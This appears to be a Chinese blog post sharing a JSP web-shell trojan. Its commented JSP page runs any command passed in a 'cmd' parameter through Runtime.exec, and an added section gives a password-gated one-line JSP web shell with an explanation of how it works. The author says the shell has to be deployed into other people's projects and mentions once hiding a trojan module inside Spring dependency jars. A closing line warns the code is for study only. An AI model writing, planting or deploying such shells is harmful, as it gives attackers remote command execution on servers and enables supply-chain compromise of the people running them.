发一个 JSP 木马

发一个大学时期在网上找到的 jsp 木马

怎么用?具体的不太清楚,但肯定要让别人部署到他们的项目中去。

而且,这个仅仅是一个草案。

更加完善的应该包括,隐藏,通知控制端,。。等等

以前写过一个 java 木马,我直接将木马模块给混在 spring 的依赖 jar 包里面了。

当然,我并没有去害过谁,我只是自己测试了一下,觉得蛮有意思的。

废话不多说,上代码:

<!--实现cmd功能的JSP小木马(作者:荔明奇(xgym))-->
<%@ page contentType="text/html;charset=gb2312"%>

<!--编码方式为gb2312(中文),否则会出现中文显示为乱码的情况-->
<%@ page import="java.io.*"%>
<!--引入java.io.*包文件,因为我们需要StringBuffer之类的I/O操作-->
<%
	//定义一个字符串变量strCmd_in,且这个变量是从cmd对象中获取到的值;request是JSP中内置的对象,用来获取对象的值。
	String strCmd_in = request.getParameter("cmd");

	//定义字符串初始值为空的变量myLine,myLine是我们在界面输入框中的命令
	String myLine = "";

	//定义一个Buffer,用来读取我们的输入框中的命令并返回结果
	StringBuffer strBufCmd = new StringBuffer("");

	//如果strCmd_in不为Null就执行
	if (strCmd_in != null)
	{ /* java非常先进的地方之一就是引入了异常处理机制(try/catch),这样调试程序就显得非常轻松了,而且我们编写出来的程序也安全了很多*/
		try
		{ //新建一个Process对象,利用Runtime执行(exec)获取到的命令,其实最主要的一句就是这个了,唯一最主要的方法了
			Process pro = Runtime.getRuntime().exec("cmd /c " + strCmd_in);

			//新建一个BufferedReader对象,用来读取我们输入的命令
			BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
			while ((myLine = buf.readLine()) != null)
			{
				//获取到的命令追加到变量myLine后面并换行
				strBufCmd.append(myLine + "\r\n");
			}
		}
		catch (Exception e)
		{
			//如果发生异常就打印出来
			System.out.println(e.toString());
		}
	}
	else
	{ //默认为我们的输入框中的命令
		strCmd_in = "net user";
	}
%>

<!--定义一个表单名称为cmd,method为post-->
<form name="cmd" action="" method="post">
	<!--空格-->
	<!--定义一个text类型的对象,用来做我们输入的框-->
	<input type="text" name="cmd" value="<%=strCmd_in%>" size=50>
	<!--提交我们的命令-->
	<input type=submit name=submit value="执行命令">
</form>
<%
	if (strBufCmd != null && strBufCmd.toString().trim().equals("") == false)
	{
%>
<!--空格-->
<!--定义一个TEXTAREA类型的返回界面框,默认是20列-->
<TEXTAREA NAME="MyView" ROWS="20" COLS="100%"><%=strBufCmd.toString()%></TEXTAREA>
<br>
<!--空格-->
<%
	}
%>

 

### JSP一句话木马的实现方法及原理 #### 方法概述 JSP(JavaServer Pages)是一种动态网页技术,允许开者嵌入Java代码到HTML页面中。通过利用JSP的功能特性,可以编写一句话木马来执行恶意命令。通常情况下,这种木马会接收来自客户端的一个特定参数作为指令输入,并将其传递给操作系统进行处理。 以下是基于提供的参考资料构建的一种简单形式: ```jsp <% if ("123".equals(request.getParameter("pwd"))) { java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while ((a = in.read(b)) != -1) { out.println(new String(b, 0, a)); } out.print("</pre>"); } %> ``` 上述代码片段展示了如何创建一个基本的JSP一句话木马[^2]。当请求中的`pwd`参数值等于预设密码字符串时,服务器端脚本将尝试运行由另一个参数`i`指定的操作系统命令并返回其输出结果。 #### 原理分析 该机制主要依赖于以下几个方面的工作流程: 1. **条件判断**: 验证传来的HTTP GET/POST 请求是否携带合法的身份验证密钥(`pwd`)。 2. **命令注入**: 如果身份验证成功,则进一步解析第二个参数(`i`)的内容视为待执行的具体Shell命令语句。 3. **进程调用**: 使用 `Runtime.exec()` 函数启动新的子程序去实际完成这些外部调用动作。 4. **数据流管理**: 将标准输出重定向回浏览器显示出来以便查看效果;同时注意关闭资源释放内存占用等问题。 整个过程中涉及到敏感权限操作以及跨平台兼容性的考量等因素都需要特别关注安全性风险评估环节[^3]。 #### 安全警示 需要注意的是,部署此类文件可能带来严重的安全隐患,包括但不限于完全控制目标主机的风险。因此仅限研究学习用途,请勿非法使用! ---
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值